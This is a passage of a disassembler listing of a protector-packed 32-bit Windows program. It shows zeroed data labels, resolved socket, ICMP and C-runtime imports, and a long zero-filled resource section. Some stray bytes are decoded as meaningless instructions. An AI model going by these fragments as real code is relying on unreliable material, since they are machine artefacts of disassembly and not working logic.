2 dup(0) byte_44718A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44718F db 0 ; DATA XREF: sub_40D580+10Fr db 0 byte_447191 db 0 ; DATA XREF: sub_40DB10r word_447192 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472A7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472AB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_4472B0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_4472F9 db 3 dup(0) ; DATA XREF: ___:00408AEBo ; sub_40FF60+159o ... dd 11h dup(0) db 2 dup(0) word_447342 dw 0 ; DATA XREF: ___:00408AC2o ; sub_40FF60+132o dd 6 dup(0) word_44735C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44738B db 0 ; DATA XREF: ___:00408B14o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473D4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44741D db 3 dup(0) ; DATA XREF: ___:00408A4Do ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474AF db 0 ; DATA XREF: ___:00408B3Do ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447541 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44758A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44767F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447759 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447834 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447864 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478C6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44790F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44793F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447988 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A34 dd 0 dd 11h dup(0) db 0 dword_447A7D dd 0 align 4 dd 0D9h dup(0) byte_447DE8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C8E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448C92 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D06 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DA0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FBB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491BB dd 0 ; sub_4256B0+4Fw ... dword_4491BF dd 0 ; ___:004240BDw ... dword_4491C3 dd 0 ; sub_4256B0+5Dr ... dword_4491C7 dd 0 ; sub_4256B0+8Cr ... dword_4491CB dd 0 ; sub_4256B0+9Dr dword_4491CF dd 0 ; ___:004240F1r ... byte_4491D3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dword_4491D4 dd 301Ch dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F30o dword_455248 dd 0EB85h dup(0) dword_49005C dd 0B0A3h dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dword_4BC2EC dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44432Co dd 6DAh dup(0) db 3 dup(0) dword_4D5FBB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60A5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60BC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60BD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60C9 dd 0 ; sub_404C20+2Aw byte_4D60CD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D60F7 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61BB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61BF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D637F db 0 ; DATA XREF: ___:004081D8o ; ___:00408664o ... dd 8 dup(0) dword_4D63A0 dd 0 dd 51h dup(0) db 0 byte_4D64E9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6765 dd 0 ; sub_426CE0+7Dw ... align 4 dword_4D676C dd 198Fh dup(0) db 0 byte_4DCDA9 db 3 dup(0) ; DATA XREF: .tqn_:00607002o ; .tqn_:006070ACo dd 54Ah dup(0) db 0 byte_4DE2D5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E5DBF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E45 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E671F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E74 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E75 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E8A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:00408678o ... dd 0Fh dup(0) db 0 byte_4E6EC9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6ECB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dword_4E6ECC dd 7522h dup(0) dword_504354 dd 0AC2h dup(0) dword_506E5C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE5C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB28 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB38 dd 0 ; ___:0041FB3Dw ... dword_50BB3C dd 0 ; sub_41FA90+2Aw ... dword_50BB40 dd 0 dword_50BB44 dd 0 ; ___:0041FB5Bw dword_50BB48 dd 0 dword_50BB4C dd 0 ; ___:0041FB67w ... dword_50BB50 dd 0 ; ___:0041FB6Dw ... dword_50BB54 dd 0 ; ___:00420DA9o dword_50BB58 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB5C dd 0 ; ___:0041FB81w dword_50BB60 dd 0 ; sub_420530+41w ... dword_50BB64 dd 0 ; sub_420530+7Fr dword_50BB68 dd 0 ; sub_420530+92r ... dword_50BB6C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB7C dd 0 ; ___:0041C1A5o dword_50BB80 dd 0 ; sub_423720+5r ... dword_50BB84 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAC0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAD8 dd 196h dup(0) ; sub_423660+6Do dword_50E130 dd 0 word_50E134 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E138 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E13C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E140 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E144 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E14C dd 80h dup(0) ; sub_426A60+129o dword_50E34C dd 0 dword_50E350 dd 0 dd 1Dh dup(0) dword_50E3C8 dd 0 ; ___:0042B11Dr ... dword_50E3CC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3D0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3D4 dd 0 dword_50E3D8 dd 0 ; sub_430270r ... dword_50E3DC dd 0 dword_50E3E0 dd 0 ; sub_42F6B0+111w ... dword_50E3E4 dd 0 ; sub_42F6B0+F6r ... dword_50E3E8 dd 0 ; ___:loc_4303B0r dword_50E3EC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 139h dup(0) dword_50E8E0 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E920 dd 8 dup(0) ; sub_42F540+25o ... dword_50E940 dd 8 dup(0) ; sub_430690+25o ... dword_50E960 dd 8 dup(0) ; sub_431560+84o ... dword_50E980 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9A0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 18Ah dup(0) ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh dd 5 dup(467E6C3Bh), 5 dup(7880050Fh), 5 dup(53A6B7B1h) dd 5 dup(2957278Bh), 5 dup(6B42D42Eh), 5 dup(21124241h) dd 5 dup(19859DC1h), 5 dup(1902FF23h), 5 dup(4DF78446h) dd 5 dup(2529ABE0h), 1Eh dup(0) dd 6B42D42Eh, 10h dup(0) dd 2529ABE0h, 58h dup(0) dd 53A6B7B1h, 1Bh dup(0) dd 1902FF23h, 14h dup(0) dd 467E6C3Bh, 52h dup(0) ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh dd 1Bh dup(0) dd 4DF78446h, 0Bh dup(0) dd 21124241h, 0Ch dup(0) dd 2957278Bh, 2Bh dup(0) dd 19859DC1h, 11h dup(0) dd 7880050Fh, 0Ah dup(0) dd 2A102EFh, 2A20000h, 2A30000h dword_50F710 dd 2A3154Eh dd 2A316F5h dword_50F718 dd 2A31946h dd 2A31C94h, 2A40000h dword_50F724 dd 2A50000h dd 2A60000h, 2A6037Dh, 2A606BEh, 2A60A0Dh dword_50F738 dd 2A70000h ; sub_40E7A0+25Ar ... dword_50F73C dd 2A70542h dword_50F740 dd 2A707FAh dd 2A70935h, 2A80000h dword_50F74C dd 2A8036Ch ; sub_40ED70+15Er ... dd 2A80610h dword_50F754 dd 2A90000h ; sub_40E7A0+22Cr dd 2AA0000h dword_50F75C dd 2AA01C7h ; sub_4207E0+285r ... dd 2AB0000h dword_50F764 dd 2AC0000h ; sub_40E7A0+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dd 2880000h, 288012Dh, 2890000h, 2890645h, 2890841h, 2890B31h dd 2890D52h, 28A0000h, 28A06A8h, 28A0A44h, 28A0E1Eh, 28B0000h dd 28B0662h, 28B0697h, 28B0974h, 28C0000h, 28C0377h, 28C0717h dd 28C08B7h, 28C0C4Dh, 28D0000h, 28D056Ah, 28D060Ch, 28D08D2h dd 28D0A98h, 28D0C60h, 28E0000h, 28E01EDh, 28E03CEh, 28E057Dh dd 28E071Eh, 28E07B9h dword_50F858 dd 28F0000h dword_50F85C dd 28F078Ah dword_50F860 dd 28F08B8h dd 7C901005h, 7C9010EDh, 28F0A9Bh, 28F0AD0h dword_50F874 dd 2900000h ; sub_420530+FEr dd 29005B5h, 2900B01h, 2910000h, 2910364h, 2920000h, 2930000h dd 2930847h, 2940000h, 2950000h, 2950856h dword_50F8A0 dd 2960000h ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 2960743h ; sub_40FF60+47r ... ; --------------------------------------------------------------------------- retn 9607h ; --------------------------------------------------------------------------- db 2 dd 2960961h, 2970000h, 2980000h, 29810A1h, 2990000h, 29A0000h dword_50F8C4 dd 29A17DFh dd 29A19D0h, 29A1D35h dword_50F8D0 dd 29B0000h ; sub_41B4B0+2Fr ... dd 29B0229h dword_50F8D8 dd 29B0989h ; sub_4203D0+2Er ... dd 29C0000h, 29C041Dh, 29D0000h dword_50F8E8 dd 29D03E9h dd 29D068Ah, 29E0000h, 29F0000h, 29F12A3h, 29F1D0Eh, 2A00000h dd 2A006E6h, 2A00B37h, 2A00C6Eh, 1Ah dup(0) dd 71B2578Ch, 71B25099h, 0Bh dup(0) dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0) dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h dd 77C3A3DBh, 77C4186Ah dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ... dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0C0h, 0C2h, 77h dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h dd 77C41B72h dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ... dd 77C371BCh dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ... dd 77C2C407h dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h db 0CFh, 0C1h, 77h dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ... dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr dd 77C29CDDh, 77C293C7h dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ... dd 77C35F0Dh, 77C46170h dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 2A10000h off_50FBF0 dd offset sub_5EA1BD ; DATA XREF: ___:00419EBDr ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ... dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r dd 71AB2BC0h dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ... dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ... dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ... dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ... dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0) dd 76D6AC1Dh, 4C5h dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h unk_511000 db 0 ; DATA XREF: Themida_:0057A3CCo db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 